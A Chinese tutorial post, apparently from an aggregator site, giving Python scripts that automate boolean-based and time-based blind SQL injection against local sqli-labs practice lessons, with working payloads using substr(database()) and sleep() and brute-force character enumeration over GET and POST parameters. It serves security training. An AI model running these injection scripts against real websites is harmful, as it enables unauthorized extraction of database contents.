sqli-labs时间盲注、布尔盲注脚本

news2024/9/27 23:10:18
script.py:提供参数,用于调用布尔盲注或时间注入的函数
import time_type
import bool_type
​
​
# inject_type: 1.布尔盲注2.时间注入
# http_type:1.GET请求2.POST请求
# dict_para_data:所有的参数,和默认值
# vuln_para:注入的参数
# payloads:注入的内容
​
if __name__ == '__main__':
    # 时间注入POST测试
    dict_para_data = {
        'uname':'admin',
        'passwd':'123',
        'submit':'Submit'
    }
    vuln_para = 'uname'
    http_type = 2
    url = "http://127.0.0.1/sqli-labs/Less-15/"
    expected_time = 1
    payloads = [
        "admin' and if(substr(database(),",
        ",1)='",
        "',sleep(1),1) # "
    ]
    time_based.brute_enum_by_time(dict_para_data, vuln_para, http_type, url, expected_time, payloads)
time_based.py:遍历各个字符,并调用发送请求(GET/POST)函数
import req
​
​
# dict_para_data : 参数列表
# http_type : get还是post
# vuln_para : 易受攻击的参数
# payload : 收攻击参数的值
# url
# expected_time : 期待等待的时间
def send_payload_by_time(dict_para_data, http_type, vuln_para, payload, url, expected_time):
    # 时间盲注GET
    if http_type == 1:
        for tmp_para in dict_para_data.keys():
            if tmp_para ==  vuln_para:
                dict_para_data[tmp_para] = payload
                break
        return req.req_by_time_get(dict_para_data, url, expected_time)
    # 时间盲注POST
    if http_type == 2:
        # 替换掉注入的参数的数据为payload
        for tmp_para in dict_para_data.keys():
            if tmp_para ==  vuln_para:
                dict_para_data[tmp_para] = payload
                break
        # 返回判断的结果,预期结果为1,否则为0
        return req.req_by_time_post(dict_para_data, url, expected_time)
​
# dict_para_data : 参数列表
# vuln_para : 易受攻击的参数
# http_type : get还是post
# url
# expected_time : 期待等待的时间  
def brute_enum_by_time(dict_para_data, vuln_para, http_type, url, expected_time, payloads):
    print('[*] The Time-based blind injection is begin')
    brute_list1 = "0123456789abcdefghijklmnopqrstuvwxyz"
    brute_list2 = "123456789"
    result = ""
    # 遍历到字符串第tmp_int个字符
    for tmp_int in brute_list2:
        # 遍历的字符依次暴力枚举判断
        for tmp_char in brute_list1:
            payload = payloads[0] + tmp_int + payloads[1] + tmp_char + payloads[2]
            # 发送请求,并判断返回结果
            if send_payload_by_time(dict_para_data, http_type, vuln_para, payload, url, expected_time) == 1:
                result = result + tmp_char
                print(f"[*] The finding result: {result}")
    if result == "":
        print("[*] There is no finding result")
bool_based.py:遍历各个字符,并调用发送请求(GET/POST)函数
import req
​
​
# dict_para_data : 参数列表
# http_type : get还是post
# vuln_para : 易受攻击的参数
# payload : 收攻击参数的值
# url
# expected_data : 期待的返回结果 
def send_payload_by_bool(dict_para_data, http_type, inject_type, vuln_para, payload, url, expected_data):
    # 布尔盲注GET
    if http_type == 1:
        # 替换掉注入的参数的数据为payload
        for tmp_para in dict_para_data.keys():
            if tmp_para ==  vuln_para:
                dict_para_data[tmp_para] = payload
                break
        # 返回判断的结果,预期结果为1,否则为0
        return req.req_by_bool_get(dict_para_data, url, expected_data)
    # 布尔盲注POST
    if http_type == 2:
        for tmp_para in dict_para_data.keys():
            if tmp_para ==  vuln_para:
                dict_para_data[tmp_para] = payload
                break
        # 返回判断的结果,预期结果为1,否则为0
        return req.req_by_bool_post(dict_para_data, url, expected_data)
​
# dict_para_data : 参数列表
# vuln_para : 易受攻击的参数
# http_type : get还是post
# url
# expected_data : 期待的返回结果  
def brute_enum_by_bool(dict_para_data, vuln_para, http_type, inject_type, url, expected_data, payloads):
    print('[*] The Bool-based blind injection is begin')
    brute_list1 = "0123456789abcdefghijklmnopqrstuvwxyz"
    brute_list2 = "123456789"
    result = ""
    # 遍历到字符串第tmp_int个字符
    for tmp_int in brute_list2:
        # 遍历的字符依次暴力枚举判断
        for tmp_char in brute_list1:
            payload = payloads[0] + tmp_int + payloads[1] + tmp_char + payloads[2]
            # 返回的结果为真
            if send_payload_by_bool(dict_para_data, http_type, inject_type, vuln_para, payload, url, expected_data) == 1:
                result = result + tmp_char
                print(f"[*] The finding result: {result}")
    if result == "":
        print("[*] There is no finding result")
req.py:发送数据包并判断是否为预期结果,如果是则返回1,否则返回0
import requests
import time
# payload : 参数列表
# url
# expected_data : 期待的返回结果 
def req_by_bool_get(payload, url, expected_data):
    rep = requests.get(url, params=payload)
    if expected_data in rep.text:
        return 1
    else:
        return 0
​
def req_by_bool_post(payload, url, expected_data):
    rep = requests.post(url, data=payload)
    # print(rep.text)
    # print(payload)
    if expected_data in rep.text:
        return 1
    else:
        return 0
​
​
# payload : 参数列表
# url
# expected_time : 期待等待的时间长短 
def req_by_time_get(payload, url, expected_time):
    earlier = time.time()
    rep = requests.get(url, params=payload)
    latter = time.time()
    if latter - earlier >= expected_time:
        return 1
    else:
        return 0
        
def req_by_time_post(payload, url, expected_time):
    earlier = time.time()
    rep = requests.post(url, data=payload)
    latter = time.time()
    if latter - earlier >= expected_time:
        return 1
    else:
        return 0
测试1:布尔盲注GET请求
dict_para_data = {
        'id' : 'hack123'
    }
    vuln_para = 'id'
    http_type = 1
    inject_type = 1
    url = "http://127.0.0.1/sqli-labs/Less-8/"
    expected_data = 'are in'
    payloads = ["1' and substr(database()," , ",1)='" , "' and '1'='1"] 
    bool_based.brute_enum_by_bool(dict_para_data, vuln_para, http_type, inject_type, url, expected_data, payloads)
  
    
结果如下:

测试2:布尔盲注POST请求
# 布尔注入POST测试
    dict_para_data = {
        'uname':'admin',
        'passwd':'123',
        'submit':'Submit'
    }
    vuln_para = 'uname'
    http_type = 2
    inject_type = 1
    url = "http://127.0.0.1/sqli-labs/Less-15/"
    expected_data = 'flag.jpg'
    payloads = ["admin' and substr(database()," , ",1)='" , "' #"] 
    bool_based.brute_enum_by_bool(dict_para_data, vuln_para, http_type, inject_type, url, expected_data, payloads)

测试3:时间注入GET测试
    # 时间注入get测试
    dict_para_data = {
        'id': 'hack123'
    }
    vuln_para = 'id'
    http_type = 1
    url = "http://127.0.0.1/sqli-labs/Less-9/"
    expected_time = 1
    payloads = [
        "1' and if(substr(database(),",
        ",1)='",
        "',sleep(1),1) and '1'='1"
    ]
    time_based.brute_enum_by_time(dict_para_data, vuln_para, http_type, url, expected_time, payloads)

测试4:时间注入POST测试
    # 时间注入POST测试
    dict_para_data = {
        'uname':'admin',
        'passwd':'123',
        'submit':'Submit'
    }
    vuln_para = 'uname'
    http_type = 2
    url = "http://127.0.0.1/sqli-labs/Less-15/"
    expected_time = 1
    payloads = [
        "admin' and if(substr(database(),",
        ",1)='",
        "',sleep(1),1) # "
    ]
    time_based.brute_enum_by_time(dict_para_data, vuln_para, http_type, url, expected_time, payloads)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2171407.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

打靶记录18——narak

靶机: https://download.vulnhub.com/ha/narak.ova 推荐使用 VM Ware 打开靶机 难度:中 目标:取得 root 权限 2 Flag 攻击方法: 主机发现端口扫描信息收集密码字典定制爆破密码Webdav 漏洞PUT 方法上传BF 语言解码MOTD 注入CVE-2021-3…

SQL | 查询带有单引号的异常数据和replace与insert插入的区别

学习SQL 查找单引号异常数据知识点 replace 和 insertinsert 插入 timestamp 参数 查找单引号异常数据 表数据 代码 SELECT * FROM sys_barcode WHERE name LIKE %%;知识点 单引号()在 SQL 查询中需要使用两个连续的单引号()来表…

Vue3.X + SpringBoot小程序 | AI大模型项目 | 饮食陪伴官

gitee平台源码 github平台源码 饮食陪伴师是一个管理饮食的原生大模型小程序,优势: 精确营养监控:用户记录饮食后,我们会计算出食用的营养成分与分量,并反馈给用户。饮食建议有效:大模型经过我们训练具备大…

003、网关路由问题

1. nginx配置404跳转回默认路由 https://blog.csdn.net/masteryee/article/details/83689954 https://blog.csdn.net/IbcVue/article/details/133230460 https://www.jb51.net/server/317970ynk.htm https://blog.csdn.net/u014438244/article/details/120531287 https://blog…

光耦合器在信号传输和隔离中的作用

光耦合器,也称为光隔离器,是电子电路中的关键元件,它结合了两个基本功能:信号传输和电气隔离。它们允许信号在电路的不同部分之间传递,同时保持它们彼此电气隔离。此功能对于保护敏感的低压控制电路免受更高电压、噪声…

ST188单光束反射式红外光电传感器心率测量原理

光电传感器心率测量原理 ST188传感器测量脉搏的具体原理如下: 当手指轻轻按压在ST188红外光电传感器上时,传感器内部的红外发射二极管会发出红外线。这些红外线穿透手指皮肤,照射到血液上。由于脉搏跳动时,血液的体积和压力会发生…

manjaro KDE桌面的使用

manjaro KDE桌面的使用 正儿八经的摆龙门阵 近些年不喜欢发博客的我,今天来一篇与开发扯不上关系的文章。这篇文章发布后,该文章不再做更新。有相关爱好的小伙伴们可以选择私信。 manjaro的介绍我就不用说了,想大家看到这里都是对manjaro有…

Python实战:爬取网页图片

文章目录 一、实战概述二、图片网站三、爬取图片1、编写程序,实现功能2、运行程序,查看结果 四、实战小结 一、实战概述 在本实战项目中,我们编写了一个Python程序,用于从指定的图片网站(https://pic.netbian.com/4kf…

西圣、漫步者头戴式耳机哪个音质好?热门主流头戴式耳机专业评测

一直以来头戴式蓝牙耳机凭借其独特的优势,逐渐成为了音乐爱好者、游戏玩家以及日常通勤者的首选,它们不仅融合了卓越的音质体验、便捷的无线连接,还融入了先进的降噪技术和人性化的佩戴设计,为用户带来了前所未有的听觉盛宴与舒适…

第十一章 分布式存储之哈希算法

目录 一、哈希取余分区 二、一致性哈希算法分区 三、哈希槽分区 在学习通过Docker进行Redis集群部署之前,简单聊一点Redis分布式集群存储相关的哈希算法问题: 一、哈希取余分区 2亿条记录就是2亿个KV,我们单机不行必须要分布式多机&…

高分作品《基于Java+MySQL图书销售管理系统》+源代码+文档说明

文章目录 源代码下载地址项目介绍项目功能界面预览 项目备注源代码下载地址 源代码下载地址 点击这里下载源码 项目介绍 使用JavaSEJavaawtMySQL搭建的一个图书销售管理系统,主要涉及一个数据库,内含四张SQL表,管理员信息表,用…

Cesium 展示——倾斜摄影模型添加

文章目录 需求分析需求 这个图是网上随便找的,请忽略,就大概展示个加载后的样子。主要看代码思路和加载代码,代码中我不仅写了倾斜摄影加载的过程,还有加载后位置不太匹配进行的微调 分析 let tilesetUrlNew = /gt-qxsy/gt-caijian/tileset.json // 新的倾斜摄影模型 cons…

Redis在window下和linux下的区别

早期,redis只能运行在linux上,原因是底层调用的是epoll方法,而windows下没有该方法。除此之外,windows下也没有fork( )函数。最终为了强行能在windows上运行,使用的是select IOCP方式。 Epoll 是当事件资源满足时发出…

Python编码系列—Python责任链模式:打造灵活的请求处理流程

🌟🌟 欢迎来到我的技术小筑,一个专为技术探索者打造的交流空间。在这里,我们不仅分享代码的智慧,还探讨技术的深度与广度。无论您是资深开发者还是技术新手,这里都有一片属于您的天空。让我们在知识的海洋中…

“天翼云息壤杯”高校AI大赛开启:国云的一场“造林”计划

文 | 智能相对论 作者 | 叶远风 2024年年初《政府工作报告》中明确提到了“人工智能”行动,人工智能的发展被提到前所未有的高度。 如何落实AI在数字经济发展中引擎作用,是业界当下面临的课题。 9月25日,“2024年中国国际信息通信展览会”…

java中的四种引用

在java中对象的引用有强、软、弱、虚四种,这些引用级别的区别主要体现在对象的生命周期、回收时机的不同。这里在已知结论的情况下对其进行验证。 准备工作 1. 设置内存 为方便调试,将内存设置为16MB 依次点击菜单栏的Run—>Edit Configurations …

常用性能优化方法

在一个Java项目中进行性能优化是至关重要的。性能优化能够提高项目的效率和响应速度,提升用户体验,并且可以节省服务器资源和成本。 首先,性能优化可以确保项目的高效运行。当项目在运行时,性能问题可能会导致应用程序变慢、响应时…

Python集成测试详解

🍅 点击文末小卡片 ,免费获取软件测试全套资料,资料在手,涨薪更快 软件开发过程中,确保代码的稳定性和功能性至关重要。集成测试是一项关键步骤,旨在验证不同模块或组件能够协同工作,实现预期的…

信息安全工程师(22)密码学网络安全应用

前言 密码学在网络安全中的应用极为广泛且深入,它通过多种技术手段确保数据的机密性、完整性和真实性。 一、数据加密 对称加密: 定义:使用相同的密钥进行加密和解密的过程。特点:加密和解密速度快,适用于大数据量的加…

机器学习笔记 - week6 -(十一、机器学习系统的设计)

11.1 首先要做什么 在接下来的视频中,我将谈到机器学习系统的设计。这些视频将谈及在设计复杂的机器学习系统时,你将遇到的主要问题。同时我们会试着给出一些关于如何巧妙构建一个复杂的机器学习系统的建议。下面的课程的的数学性可能不是那么强&#xf…